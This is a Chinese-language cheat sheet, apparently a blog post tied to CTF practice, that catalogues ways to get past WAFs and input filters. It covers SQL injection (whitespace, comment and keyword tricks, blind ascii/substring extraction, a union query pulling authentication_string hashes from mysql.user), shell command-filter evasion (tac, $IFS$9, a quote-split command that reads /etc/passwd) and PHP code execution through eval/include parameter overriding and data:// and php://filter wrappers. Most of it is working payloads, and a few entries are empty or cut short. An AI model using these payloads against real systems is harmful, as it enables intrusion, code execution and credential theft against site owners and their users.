一:常见的注入绕过方法
1.空格字符绕过
两个空格代替一个空格,用Tab代替空格,%a0=空格。
绕过的替代类型:
%20 --代表url编码的空格,在空格过滤时可以代替。
%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。
%0a--代表换行符
%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。
%0c--
%0d--回车换行
%a0--代表的是非断行空格
%00--%00代表的是ASCII码中的空字符
/**/
/!/
可以将空格字符替换成注释/**/,也可以使用内联注释,/!code/
内联注释绕过知识点
当一些关键语句被过滤时,内联注释就是把一些特有的仅在 mysql 上的语句放在 /*! */中,这样这些语句如果在其它数据库中是不会被执行,但在 mysql 中会执行。
2. 大小写绕过
将字符串设置为大小写,例如or id=1替换为oR id=1之类的,用相同字母大小写随机组合尝试绕过。但是在mysql默认是不区分大小写的。
3.浮点数绕过注入
可以在查询语句where条件这里使用,例如select * from users where id=1e0或者id=1.1。
4.null值绕过注入
在查询语句where条件这里使用,select * from users where id=\N。
select \N; 代表 NULL
select * from users where id=\Nunion select 1,2,3,\N;
select * from users where id=\Nunion select 1,2,3,\Nfrom users;
5.引号绕过
当waf有拦截的时候,进行替换。举个例子当为waf过滤单引号时select * from users where id=‘1’。
select * from users where id=“1”,或者使用hex十六进制进行绕过。
6.添加库名绕过
有些waf的拦截规则并不会拦截包含库名.表名这种模式。
比如 select * from users where id = -1 union select 1,2,3 from security.users;
mysql中也可以添加库名查询表,例如跨库查询mysql库里的users表的内容。
select * from users where id =-1 union select 1,2,concat(user,authentication_string) from mysql.user
7.去重复绕过
在mysql查询可以使用distinct关键词去除查询的重复值,可以利用这点突破waf拦截。
select * from users where id=-1 union distinct select 1,2,version() from users
8、反引号绕过
在mysql可以使用这里是反引号绕过一些waf拦截,字段可以加反引号或者不加,意义相同。
反引号前面不加空格也是可以的。
9.脚本语言特征绕过
在php语言中,通常会存在参数覆盖特性,例如?id=1&id=2,php会将前面的值进行覆盖,从而绕过waf的拦截,从而将参数传入。通常可以构造name=%00name=’ union select 1,(select version() from users limit 1)–+
10.逗号绕过
在脚本中可能会过滤;解决方法
https://www.cnblogs.com/hackxf/p/9490534.html
11.使用join绕过
使用 join 自连接两个表 ;
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
#a 和 b 分别是表的别名;
select * from users where id=-1 union select 1,2,3; # 可以变成下面的语句;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join
12、like绕过
使用 like 模糊查询 select user() like ‘%r%’; 模糊查询成功返回 1 否则返回 0 ;
找到第一个字符后继续进行下一个字符匹配,从而找到所有的字符串,最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号,从而绕过 waf 拦截;
select * from users where id=1 and (select user() like ‘%r%’);
select * from users where id=-1 union select 1,2,user() like ‘%root%’ limit 1;
13、limit offset绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回一条记录,如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据;也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
14、or和xor not绕过
目前主流的 waf 都会对:
•
• id=1 and 1=2、
id=1 or 1=2、
id=0 or 1=2
id=0 xor 1=1 limit 1 、
id=1 xor 1= 2
对这些常见的 SQL 注入检测语句进行拦截,像 and 这些还有字符代替;
字符如下:
• and 等于&&
• or 等于 ||
• not 等于 !
• xor 等于
所以可以转换成这样:
• id=1 and 1=1 等于 id=1 && 1=1
• id=1 and 1=2 等于 id=1 && 1=2
• id=1 or 1=1 等于 id=1 || 1=1
• id=0 or 1=0 等于 id=0 || 1=0
• in
• in运算符用来判断表达式的值是否位于给出的列表中;如果是,返回值为 1,否则返回值为 0;
• not in
• NOT IN 用来判断表达式的值是否不存在于给出的列表中;如果不是,返回值为 1,否则返回值为 0;注意:在url使用逻辑运算符的时候要url编码;
15.ascii字符对比绕过
多数 waf 会对 union select 进行拦截,导致无法使用联合查询,可以尝试使用字符截取对比法,进行突破;
select substring(user(),1,1);
返回第一位
select * from users where id=1 and substring(user(),1,1)=‘r’;
字符匹配第一位
select * from users where id=1 and ascii(substring(user(),1,1))=114;
ascii码匹配
最好把’r’换成成 ascii 码,如果开启 gpc int 整形注入就不能用了 ;
我们可以看到不使用联合查询(union select)也可以把数据查询出来 ;
16.等号绕过
如果程序会对=进行拦截 ,可以使用 like rlike regexp 或者使用 < 或者 >
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
17.双关键词绕过
当union、 select被转空,若只有一次,可以双写关键词,从而绕过检测。
例如只有一次:id=-1’UNIunionONSeLselectECT 1,2,3–+
删除一次之后重新拼接为id=-1’UNION SeLselectECT 1,2,3–+执行。
18.白名单绕过
白名单一般有
admin,phpmyadmin,admin.php
19.order by绕过
二.关键字绕过
1.cat绕过
在命令执行过程中如果对cat做了限制,可以使用命令tac来执行cat的功能。两者功能上没有太大的区别,cat正向输出结果,tac从后往前输出结果。当cat和echo这些被过滤得很严重时,可以用cp命令把flag文件复制为txt文件,直接浏览器访问,这也是一种很好的方法
2.$限制绕过
`命令`和$(命令)都是执行命令的方式
反引号``是命令替换,命令替换是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出。语法:`command`
3.点号限制绕过
这个就是当点号(.)被过滤时使用,就是用下面这个替换就可以了,实际就是将点号通过另一种方式执行
pos(localeconv()
localeconv() 函数返回一包含本地数字及货币格式信息的数组。其中第一位就是点号
pos()函数就是取数组的第一位元素并返回,所以就得到了点号
4.空格绕过
通常空格被限制的时候,用下列任一一个替换即可
%09
$IFS$9
5.php限制绕过
php的限制一般是用于防止后缀和嵌套php文件
后缀的话一般就用通配符就可以绕过了
限制嵌套php文件的话,若对传入的c进行php的过滤,
例如原有这样一个语句
?c=data://text/plain,<?php system("cat flag.*hp");?>
那就可以用如下语句代替
?c=data://text/plain,<?= system("cat flag.*hp");?>
即等于号可以代替php文件标识处的"php"
三.特殊的绕过方法
1、eval双重参数覆盖
就是将eval()函数的参数的值用另外一个参数传入,例如,这两句话效果是相同的
c=eval(phpinfo());
c=eval($_GET[1]);&1=system(phpinfo());
都能达到显示phpinfo的目的,如下
这个还是很有用的,用的也比较多
2、include双重参数覆盖
上面的eval()函数也可以换成include(),并且include可以不要括号,但是得配合伪协议中的php://filter来使用,如下
c=include($_GET[1])?>&1=php://filter/read=convert.base64-encode/resource=flag.php
或者加上括号也可以,如下
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
这就是经过base64编码后的flag.php的内容
注意,这里的第二个参数,也就是要覆盖的参数(如上面的1)的值不仅仅只能是php的filter的伪协议,还可以使用其他的伪协议,例如data伪协议,如下
c=include$_GET[a]?>&a=data://text/plain,<?php system("cat flag.php");?>
3、闭合双重参数绕过
这个也用的非常多,在ctf题中一般就是让你传入一个值,对这个值进行大量的过滤和限制让你绕过,此时我们传入这个参数,但同时在值中引用其他变量,并直接构造闭合,如下
url/?c=eval($_GET[a]);>
此时过滤手段就会对c变量进行过滤和限制,但c我们其实没有太多敏感字符,此时我们再构造如下代码
url/?c=eval($_GET[a]);>&a=system(cat flag.php);
这样后面的a的内容就不能被检测出来,很多同学一看,诶,这和上面的思路有什么区别吗?自然是有的,上面我们只闭合了一次,再来看看这段代码
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
可以看到这个姿势就更厉害了,c根本没有内容,那自然就不存在被过滤限制的情况,还能达到通过include检测文件的功能
4、data伪协议配合include函数命令执行
来看一个很熟悉的函数
include(filename)
这里要将的方法就是include()函数其实是可以导致命令执行的,那就是配合data协议,当然也是有限制的,限制的就是
php.ini里面的allow_url_fopen和allow_url_include均为开启状态
例如现在有一环境,需要我们传入c变量,传入的c将作为include函数的参数被执行,使用手法大概有如下三种
1、正常形式 ?c=data://text/plain;base64,<?php system('cat flag.php');?>
2、编码形式 ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
3、url形式 ?c=data://text/plain,%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%27%63%61%74%20%66%6c%61%67%2e%70%68%70%27%29%3b%3f%3e
第一种是正常形式,但是开发者一般都对传入的参数有限制,特别是ctf题目,所以用处不大,用的最多的还是第二种,编码一般就能把过滤给绕过了
第三种主打的就是一个出其不意,算是冷门招数,将后面我们要执行的语句全部换为url编码也可以执行
四.常见通配符
?匹配单个字符,若要匹配多个字符,就用多个?连用
* 代表任意数量的字符
[]代表一定有一个在括号内的字符(非任意字符)
多种通配符可以混合使用 。
2.连接符绕过
单引号‘’,双引号“”,反斜杠`如:
c'a't' /'e't'c'/'p'a's's'w'd